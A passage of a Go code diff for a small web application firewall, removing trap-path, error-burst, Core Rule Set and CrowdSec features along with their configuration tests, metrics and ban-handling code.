cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel,
tc.prefix, tc.clients, tc.level)
}
}
}
func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
t.Parallel()
for _, length := range []int{32, 128} {
cfg := fromEnvironment(t, environment{ipv6GroupPrefix: strconv.Itoa(length)})
if cfg.IPv6GroupPrefix != length {
t.Errorf("%s=%d gave %d", ipv6GroupPrefix, length, cfg.IPv6GroupPrefix)
}
}
}
func TestEachLogLevel(t *testing.T) {
t.Parallel()
for value, want := range map[string]slog.Level{
"debug": slog.LevelDebug,
"info": slog.LevelInfo,
"warn": slog.LevelWarn,
"error": slog.LevelError,
} {
cfg := fromEnvironment(t, environment{logLevel: value})
if cfg.LogLevel != want {
t.Errorf("%s=%s gave %v, want %v", logLevel, value, cfg.LogLevel, want)
}
}
}
func TestByteLimitSettingsAsSet(t *testing.T) {
t.Parallel()
@@ -506,188 +439,6 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
}
}
func TestTrapPathsAndErrorBurstThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
paths []string
threshold int64
}{
{environment{}, []string{}, 30},
{
environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"},
[]string{"/wp-login.php", "/xmlrpc.php"}, 5,
},
{environment{errorBurstThreshold: off}, []string{}, 0},
} {
cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.ErrorBurstThreshold != tc.threshold {
t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths,
cfg.ErrorBurstThreshold, tc.paths, tc.threshold)
}
}
}
func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
t.Parallel()
const notTrapPath = " is not a path starting with / and without a ?, " +
"such as /wp-login.php"
for _, tc := range []struct{ name, value, want string }{
{trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath},
{trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath},
{
trapPaths, "/wp-login.php,,/xmlrpc.php",
`"/wp-login.php,,/xmlrpc.php" has an empty item in its list`,
},
{errorBurstThreshold, "0", `"0" must be more than zero, or off`},
{
errorBurstThreshold, "30/min",
`"30/min" is not a whole number of requests such as 1000, or off`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestCoreRuleSetSettings(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want config.Config
}{
{
environment{},
config.Config{
WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
WAFExemptPaths: []string{},
},
},
{
environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "128K",
},
config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 128 << 10,
},
},
{
environment{
wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
wafBodyLimit: off,
},
config.Config{
WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
},
},
} {
cfg := fromEnvironment(t, tc.env)
got := config.Config{
WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
WAFBodyLimit: cfg.WAFBodyLimit,
}
if !reflect.DeepEqual(got, tc.want) {
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
}
}
}
func TestWAFBodyLimitOf1G(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
if cfg.WAFBodyLimit != 1<<30 {
t.Errorf("1G read as %d", cfg.WAFBodyLimit)
}
}
func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
t.Parallel()
const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
)
for _, tc := range []struct{ name, value, want string }{
{wafMode, "enforce", `"enforce" is not off, detect or block`},
{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
{
wafAnomalyThreshold, "0",
`"0" is not a whole number above zero, such as 60, or off`,
},
{
wafDisabledRules, "920340,REQUEST-920",
`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
{
wafDisabledRules, "-942100",
`"-942100" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
// The paranoia level, the allowed methods, the headers refused, a
// request with more query parameters than Coraza keeps, and a body
// Coraza cannot parse or that fails its strict checks.
{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
{
wafExemptPaths, "api/",
`"api/" is not a path prefix starting with /, such as /assets/`,
},
{
wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
},
{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
{
wafBodyLimit, "1073741825",
`"1073741825" is more than 1G, the most Coraza reads`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel()
@@ -1848,121 +1599,6 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
}
}
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{})
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
t.Errorf("by default, the decision list %q and the key %q, want neither",
cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey)
}
for lapi, want := range map[string]string{
"http://172.17.0.1:8080": "http://172.17.0.1:8080/v1/decisions",
"http://172.17.0.1:8080/": "http://172.17.0.1:8080/v1/decisions",
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
} {
cfg := fromEnvironment(t, environment{crowdSecURL: lapi, crowdSecKey: token})
if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token {
t.Errorf("%s=%s gave the decision list %q and the key %q, want %s and %s",
crowdSecURL, lapi, cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey, want, token)
}
}
}
func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Parallel()
const (
lapi = "http://172.17.0.1:8080"
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080"
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
`SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too`
)
for _, tc := range []struct {
name string
env environment
want string
}{
{
"a URL that is not http",
environment{crowdSecURL: "ftp://172.17.0.1", crowdSecKey: token},
crowdSecURL + `: "ftp://172.17.0.1"` + notLAPIURL,
},
{
"a URL with a user",
environment{crowdSecURL: "http://bouncer@172.17.0.1:8080", crowdSecKey: token},
crowdSecURL + `: "http://bouncer@172.17.0.1:8080"` + notLAPIURL,
},
{
"the URL without the key",
environment{crowdSecURL: lapi},
crowdSecURL + ": is set while " + crowdSecKey + " is unset; the engine " +
"answers no request without it",
},
{
"the key without the URL",
environment{crowdSecKey: token},
crowdSecKey + ": is set while " + crowdSecURL + " is unset; it is sent only " +
"to the engine at that URL",
},
{
"the decision list as a blocklist too",
environment{
crowdSecURL: lapi, crowdSecKey: token,
blocklistURLs: "https://lists.example/drop.txt," + lapi + "/v1/decisions",
},
crowdSecURL + ": " + anotherList,
},
{
"the decision list as the file of AS:percent lines too",
environment{
crowdSecURL: lapi + "/", crowdSecKey: token,
asnLimitPercentURL: lapi + "/v1/decisions",
},
crowdSecURL + ": " + anotherList,
},
// The key itself is never shown.
{
"a key with a control character",
environment{crowdSecURL: lapi, crowdSecKey: token + "\r"},
crowdSecKey + ": holds a control character, such as the carriage return " +
"of a Windows line end",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != tc.want {
t.Errorf("error %v, want %s", err, tc.want)
}
})
}
}
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
})
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
logged := out.String()
if strings.Contains(logged, token) ||
!strings.Contains(logged, `"`+crowdSecKey+`":"********"`) ||
!strings.Contains(logged, `"`+crowdSecURL+`":"http://172.17.0.1:8080"`) {
t.Errorf("the key is not logged masked beside the URL: %s", logged)
}
}
func TestSizesAndOff(t *testing.T) {
t.Parallel()
@@ -2062,10 +1698,6 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{trustedProxies, "traefik"},
{trustedProxies, "10.0.0.0/8,,192.168.0.0/16"},
{trustedProxies, "fe80::1%eth0"},
{ipv6GroupPrefix, "31"}, {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"},
{ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""},
{maxTrackedClients, "0"}, {maxTrackedClients, "-1"}, {maxTrackedClients, off},
{maxTrackedClients, "20K"},
{allowNets, "192.0.2.0/24,monitoring"},
{rateLimitExemptNets, "2001:db8::/129"},
{denyNets, "198.51.100.0/24,"},
@@ -2119,7 +1751,6 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"},
{logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"},
{logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"},
{logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""},
{rulesEnabled, "yes"}, {rulesEnabled, "True"},
})
}
@@ -2362,8 +1993,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
upstreamURL: "http://127.0.0.1:8081",
mode: "enforce",
trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16",
ipv6GroupPrefix: "64",
maxTrackedClients: "20000",
clientRequestTimeout: "45s",
clientHeaderMaxBytes: "32K",
clientIdleTimeout: "120s",
@@ -2406,8 +2035,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
reputationAction: "limit:25",
reputationCacheTTL: defaultReputationCacheTTL,
reputationTimeout: "2s",
crowdSecURL: "",
crowdSecKey: "",
banResponse: "403",
limitBanDuration: "1h",
limitBanRepeatWindow: "24h",
@@ -2423,17 +2050,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
metricsTopN: "50",
instanceName: hostname,
logRequestHeaders: defaultLogRequestHeaders,
logLevel: "info",
rulesDir: "/etc/smallwebwaf/rules.d",
rulesEnabled: "true",
wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1",
wafAnomalyThreshold: "5",
wafDisabledRules: defaultWAFDisabledRules,
wafExemptPaths: "",
wafBodyLimit: off,
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
logRemoteTLSCAFile: "",
logRemoteBuffer: "10000",
internal/lookup/lookup.go
+1 -2
View File
@@ -176,8 +176,7 @@ func New(params Params) *GeoJS {
// when it ends.
//
// GeoJS is asked about the client's first address, which is the client's
// own address for IPv4, and an address in the same place for an IPv6
// netblock.
// own address for IPv4, and an address in the same place for an IPv6 /64.
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, asked := g.answerOrWait(ctx, client)
if asked == nil {
internal/metrics/metrics.go
+31 -53
View File
@@ -6,6 +6,7 @@ package metrics
import (
"net/http"
"strconv"
"strings"
"time"
"github.com/prometheus/client_golang/prometheus"
@@ -36,7 +37,6 @@ type Metrics struct {
rateLimitHits *prometheus.CounterVec
sizeAndTimeLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by
// AddReputation.
ruleMatches *prometheus.CounterVec
@@ -64,8 +64,6 @@ type Metrics struct {
// topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
@@ -96,17 +94,14 @@ func New(topN int, instanceName string) *Metrics {
Help: "How long requests passed to the app took, from then to their end.",
}),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
"Requests that broke a rate limit or a byte limit, by its window and "+
"its kind, requests or bytes.",
[]string{"window", "kind"}),
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
"Requests that passed a size or time limit, by its setting.",
[]string{"limit"}),
offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -142,8 +137,7 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize,
@@ -160,9 +154,7 @@ func New(topN int, instanceName string) *Metrics {
func (m *Metrics) AddBansAndClients(
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
) {
for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} {
for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_bans_made_total",
Help: "Bans made, by cause.",
@@ -271,16 +263,16 @@ const sourceLabel = "source"
// AddReputation adds the metrics of the lists fetched from URLs and of the
// DNSBL zones, by source, each list's URL or each zone, its key masked as
// config.MaskZoneKey masks it: the requests whose client a blocklist, the
// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
// which ReputationHit counts, and, read from lists and dnsbl as the
// metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit.
// config.MaskZoneKey masks it: the requests whose client a blocklist, a
// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts,
// and, read from lists and dnsbl as the metrics are asked for, for a list,
// the fetches that failed and when the copy in use was fetched, and for a
// zone, the queries made and those that failed. It is called once, before
// ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
"Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, by "+
"the blocklist's URL, the zone, or abuseipdb.",
[]string{sourceLabel})
m.registry.MustRegister(m.reputationHits)
@@ -333,9 +325,8 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
)
}
// ReputationHit counts a request whose client source lists: a blocklist
// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
// or AbuseIPDB, abuseipdb.
// ReputationHit counts a request whose client source lists: a blocklist,
// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb.
func (m *Metrics) ReputationHit(source string) {
m.reputationHits.WithLabelValues(source).Inc()
}
@@ -413,10 +404,26 @@ func (m *Metrics) RequestEnded(
m.upstreamDuration.Observe(upstreamDuration.Seconds())
}
if line.LimitHit != "" {
// The log line names a byte limit's window with _bytes after it.
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
kind := ratelimit.KindRequests
if isBytes {
kind = ratelimit.KindBytes
}
m.rateLimitHits.WithLabelValues(window, kind).Inc()
}
if limit != "" {
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
}
if line.Offence != "" {
m.offences.WithLabelValues(line.Offence).Inc()
}
if line.Country != "" {
m.countries.add(line.Country, line)
}
@@ -426,41 +433,12 @@ func (m *Metrics) RequestEnded(
}
}
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
// Offences counts the offences of r, a request that has ended, as its
// client's history counts them, by kind, named as clients.json names
// them.
func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
"token_refused": r.TokenRefused,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
}
}
}
// RuleMatched counts a request that matched the rule id, whose action is
// action.
func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc()
}
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) {
internal/proxy/admin.go
+3 -5
View File
@@ -45,9 +45,8 @@ var (
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
// token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
// it is refused with 401, which counts toward the error burst. An
// endpoint whose token is unset answers 404, as any other request under
// /_smallwebwaf/ does.
// it is refused with 401. An endpoint whose token is unset answers 404,
// as any other request under /_smallwebwaf/ does.
func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin
rq.startClientResponseTimeout()
@@ -58,7 +57,6 @@ func (rq *request) answerAdmin() {
case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token):
rq.tokenRefused = true
rq.out.Header().Set("WWW-Authenticate", "Bearer")
rq.answer(refusal{
status: http.StatusUnauthorized,
@@ -284,7 +282,7 @@ func (rq *request) showClient() {
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
client, seen := rq.h.limiter.Client(clientGroup(addr))
if seen {
answer.Client = &client
}
internal/proxy/admin_test.go
+3 -3
View File
@@ -4,7 +4,7 @@ import (
"encoding/json"
"net/http"
"net/netip"
"reflect"
"slices"
"strconv"
"strings"
"testing"
@@ -48,7 +48,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
}
}
@@ -79,7 +79,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method, e.path, after, before)
}
internal/proxy/alerts_test.go
+1 -2
View File
@@ -118,8 +118,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
// No ban is made, and none made permanent.
held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"for the attack alone, as it was", held, line.BanExpires)
internal/proxy/bans.go
+42 -129
View File
@@ -1,15 +1,14 @@
package proxy
import (
"net/http"
"net/netip"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
@@ -46,7 +45,7 @@ func (rq *request) banned(now time.Time) bool {
// the client over a rate limit, as its limit percentage lowers it, which
// breaks it.
func (rq *request) limitBroken(now time.Time) bool {
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now,
rq.limitPercent.percent)
rq.line.Counts = counts
@@ -72,7 +71,7 @@ func (rq *request) countBytes() {
now := rq.h.now()
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now,
rq.countedBytes(), rq.bytesPercent.percent)
rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes
@@ -83,48 +82,6 @@ func (rq *request) countBytes() {
}
}
// countRefusal counts the request for the error burst once it has been
// answered, if smallwebwaf refused it after a rule file match, a trap path
// or a Core Rule Set match, or for a missing or wrong token, and in
// observe mode if enforce mode would have: more than
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
}
// In observe mode, a request that enforce mode would have refused
// before it reached the endpoint has had no token refused there.
tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
!isInside(rq.client, cfg.AllowNets)
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
return
}
now := rq.h.now()
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
}
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
@@ -149,27 +106,20 @@ func (rq *request) countedBytes() int64 {
}
// banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent:
// SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
// one hit names, and notes the offence for the log line. status is what
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over
// a rate limit, the app's answer for one whose bytes broke a byte limit.
// The ban's notes give the client's limit percentage for that kind of
// limit. The ban sets the client's counters back to zero. In observe mode
// it makes no ban and sets nothing back, and raises the alert for the ban
// it would have made, if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
switch hit.Kind {
case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst
default:
rq.line.LimitHit = hit.Window
rq.line.LimitHit = hit.Window
if hit.Kind == ratelimit.KindBytes {
rq.line.LimitHit += "_bytes" // as counts names the byte totals
}
rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -177,25 +127,24 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Kind: hit.Kind,
Limit: hit.Limit,
Window: hit.Window,
Count: hit.Count,
Reputation: rq.reputation,
Request: rq.noted(now, status),
Requests: rq.netblockRequests(netblock),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Kind: hit.Kind,
Limit: hit.Limit,
Window: hit.Window,
Count: hit.Count,
Request: rq.noted(now, status),
Requests: rq.netblockRequests(netblock),
}
switch hit.Kind {
case ratelimit.KindRequests:
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
percent := rq.limitPercent
if hit.Kind == ratelimit.KindBytes {
percent = rq.bytesPercent
}
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan {
@@ -206,7 +155,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
rq.h.limiter.Reset(clientGroup(rq.client))
rq.line.BanExpires = banExpires(ban)
if made {
@@ -215,22 +164,24 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
// banForAttack bans the client's netblock at now for a clear sign of
// attack, which notes name: the ban rule that matched, or the trap path
// asked for. It fills in the rest of the notes. In observe mode it makes
// no ban, and raises the alert for the ban it would have made, if that
// alert would be sent.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
// attack, the match of rule, a ban rule. In observe mode it makes no ban,
// and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return
}
notes.ASN = rq.line.ASN
notes.ASName = rq.line.ASName
notes.Country = rq.line.Country
notes.Reputation = rq.reputation
notes.Request = rq.noted(now, rq.h.config.BanResponse)
notes.Requests = rq.netblockRequests(netblock)
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
RuleID: rule.ID,
Target: rule.Target,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
@@ -249,44 +200,6 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
}
}
// banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
if wouldBan {
rq.alertBan(ban)
}
return
}
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
